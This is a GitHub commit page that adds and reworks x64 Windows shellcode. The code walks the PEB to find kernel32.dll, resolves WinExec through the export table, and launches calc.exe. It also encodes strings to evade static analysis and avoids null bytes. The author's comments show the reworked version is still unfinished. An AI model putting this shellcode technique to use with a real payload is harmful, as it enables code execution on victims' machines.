8000 almost there... · Print3M/shellcoder@b4d6eea · GitHub
[go: up one dir, main page]

Skip to content

Commit b4d6eea

Browse files
committed
almost there...
1 parent c618b6a commit b4d6eea

File tree

2 files changed

+158
-101
lines changed

2 files changed

+158
-101
lines changed

original.asm

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
xor rdi, rdi ; RDI = 0x0
2+
mul rdi ; RAX&RDX =0x0
3+
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
4+
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
5+
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
6+
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
7+
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
8+
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
9+
mov r8, rbx ; RBX & R8 = &kernel32.dll
10+
11+
; Get kernel32.dll ExportTable Address
12+
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
13+
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
14+
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
15+
add cx, 0x88ff
16+
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
17+
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
18+
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
19+
20+
; Get &AddressTable from Kernel32.dll ExportTable
21+
xor r10, r10
22+
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
23+
add r10, r8 ; R10 = &AddressTable
24+
25+
; Get &NamePointerTable from Kernel32.dll ExportTable
26+
xor r11, r11
27+
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
28+
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
29+
30+
; Get &OrdinalTable from Kernel32.dll ExportTable
31+
xor r12, r12
32+
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
33+
add r12, r8 ; R12 = &OrdinalTable
34+
35+
jmp short apis
36+
37+
; Get the address of the API from the Kernel32.dll ExportTable
38+
getapiaddr:
39+
pop rbx ; save the return address for ret 2 caller after API address is found
40+
pop rcx ; Get the string length counter from stack
41+
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
42+
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
43+
push rcx ; push the string length counter to stack
44+
loop:
45+
mov rcx, [rsp] ; reset the string length counter from the stack
46+
xor rdi,rdi ; Clear RDI for setting up string name retrieval
47+
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
48+
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
49+
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
50+
repe cmpsb ; Compare strings at RDI & RSI
51+
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
52+
incloop:
53+
inc rax
54+
jmp short loop
55+
56+
; Find the address of GetProcAddress by using the last value of the Counter
57+
resolveaddr:
58+
pop rcx ; remove string length counter from top of stack
59+
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
60+
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
61+
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
62+
push rbx ; place the return address from the api string call back on the top of the stack
63+
ret ; return to API caller
64+
65+
apis: ; API Names to resolve addresses
66+
; WinExec | String length : 7
67+
xor rcx, rcx
68+
add cl, 0x7 ; String length for compare string
69+
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
70+
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
71+
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
72+
push rax
73+
push rcx ; push the string length counter to stack
74+
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
75+
mov r14, rax ; R14 = Kernel32.WinExec Address
76+
77+
; UINT WinExec(
78+
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
79+
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
80+
; );
81+
xor rcx, rcx
82+
mul rcx ; RAX & RDX & RCX = 0x0
83+
; calc.exe | String length : 8
84+
push rax ; Null terminate string on stack
85+
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
86+
not rax
87+
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
88+
push rax ; RSP = "calc.exe",0x0
89+
mov rcx, rsp ; RCX = "calc.exe",0x0
90+
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
91+
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
92+
call r14 ; Call WinExec("calc.exe", SW_HIDE)

shellcode.asm

Lines changed: 66 additions & 101 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,15 @@
11
[bits 64]
22

3+
;; TODO: DEBUG this shiiiit (x64dbg)
4+
35
; Access PEB structure
46
xor rbx, rbx
57
mov rbx, gs:[0x60] ; RBX = address of PEB struct
68
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
7-
mov rbx, rbx+0x20 ; RBX = address of InMemoryOrderModuleList
9+
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
810

911
; Go down the double-link list of PEB_LDR_DATA
10-
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
12+
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
1113
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
1214
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
1315

@@ -40,110 +42,73 @@ xor r12, r12
4042
mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
4143
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
4244

43-
jmp short get_winapi_func
44-
45-
get_winapi_func:
46-
; Requirements:
47-
; R8 = &kernel32.dll
48-
; R10 = &AddressOfFunctions (ExportTable)
49-
; R11 = &AddressOfNames (ExportTable)
50-
; R12 = &AddressOfNameOrdinals (ExportTable)
51-
; Returns:
52-
; RAX = &winapi_func
53-
54-
55-
56-
; ==================================
57-
58-
xor rdi, rdi ; RDI = 0x0
59-
mul rdi ; RAX&RDX =0x0
60-
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
61-
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
62-
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
63-
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
64-
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
65-
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
66-
mov r8, rbx ; RBX & R8 = &kernel32.dll
67-
68-
; Get kernel32.dll ExportTable Address
69-
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
70-
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
71-
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
72-
add cx, 0x88ff
73-
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
74-
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
75-
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
76-
77-
; Get &AddressTable from Kernel32.dll ExportTable
78-
xor r10, r10
79-
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
80-
add r10, r8 ; R10 = &AddressTable
45+
; Get address of WinExec function exported from kernel32.dll
46+
xor rcx, rcx
47+
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
8148

82-
; Get &NamePointerTable from Kernel32.dll ExportTable
83-
xor r11, r11
84-
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
85-
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
49+
xor rax, rax
50+
mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00
51+
push rax ; STACK + function name address (8)
52+
mov rsi, rsp ; RSI = &function_name
8653

87-
; Get &OrdinalTable from Kernel32.dll ExportTable
88-
xor r12, r12
89-
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
90-
add r12, r8 ; R12 = &OrdinalTable
91-
92-
jmp short apis
93-
94-
; Get the address of the API from the Kernel32.dll ExportTable
95-
getapiaddr:
96-
pop rbx ; save the return address for ret 2 caller after API address is found
97-
pop rcx ; Get the string length counter from stack
98-
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
99-
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
100-
push rcx ; push the string length counter to stack
101-
loop:
102-
mov rcx, [rsp] ; reset the string length counter from the stack
103-
xor rdi,rdi ; Clear RDI for setting up string name retrieval
104-
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
105-
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
106-
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
107-
repe cmpsb ; Compare strings at RDI & RSI
108-
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
109-
incloop:
110-
inc rax
111-
jmp short loop
112-
113-
; Find the address of GetProcAddress by using the last value of the Counter
114-
resolveaddr:
115-
pop rcx ; remove string length counter from top of stack
116-
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
117-
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
118-
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
119-
push rbx ; place the return address from the api string call back on the top of the stack
120-
ret ; return to API caller
121-
122-
apis: ; API Names to resolve addresses
123-
; WinExec | String length : 7
124-
xor rcx, rcx
125-
add cl, 0x7 ; String length for compare string
126-
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
127-
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
128-
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
129-
push rax
130-
push rcx ; push the string length counter to stack
131-
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
132-
mov r14, rax ; R14 = Kernel32.WinExec Address
54+
call get_winapi_func
55+
mov r13, rax ; R13 = &WinExec
13356

57+
; Execute WinExec function
58+
;
13459
; UINT WinExec(
13560
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
13661
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
13762
; );
63+
xor rax, rax
13864
xor rcx, rcx
139-
mul rcx ; RAX & RDX & RCX = 0x0
140-
; calc.exe | String length : 8
141-
push rax ; Null terminate string on stack
142-
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
143-
not rax
144-
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
145-
push rax ; RSP = "calc.exe",0x0
146-
mov rcx, rsp ; RCX = "calc.exe",0x0
147-
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
148-
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
149-
call r14 ; Call WinExec("calc.exe", SW_HIDE)
65+
xor rdx, rdx
66+
67+
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
68+
push ax ; STACK + null terminator (2)
69+
push rax ; STACK + command string (8)
70+
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
71+
72+
mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
73+
; Why is here "sub rsp, 0x20" originally ???
74+
call r13 ; Call WinExec(rax, rdx)
75+
76+
get_winapi_func:
77+
; Requirements (preserved):
78+
; R8 = &kernel32.dll
79+
; R10 = &AddressOfFunctions (ExportTable)
80+
; R11 = &AddressOfNames (ExportTable)
81+
; R12 = &AddressOfNameOrdinals (ExportTable)
82+
; Parameters (preserved):
83+
; RSI = (char*) function_name
84+
; RCX = (int) length of function_name string
85+
; Returns:
86+
; RAX = &function
87+
;
88+
; IMPORTANT: This function doesn't handle "not found" case!
89+
; Infinite loop and access violation is possible.
90+
91+
xor rax, rax ; RAX = counter = 0
92+
push rcx ; STACK + RCX (8) = preserve length of function_name string
93+
94+
; Loop through AddressOfNames array:
95+
; array item = function name RVA (4 bytes)
96+
loop:
97+
mov rcx, [rsp] ; RCX = length of function_name string
98+
xor rdi, rdi ; RDI = 0
99+
100+
mov edi, [r11+rax*4] ; RDI = function name RVA
101+
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
102+
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
103+
104+
je resolve_func_addr ; Jump if exported function name == param function name
105+
106+
inc rax ; RAX = RAX + 1
107+
jmp short loop
108+
109+
resolve_func_addr:
110+
pop rcx ; STACK - RCX (8) = remove length of function_name string
111+
mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
112+
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
113+
add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
114+
ret

0 commit comments

Comments
 (0)
0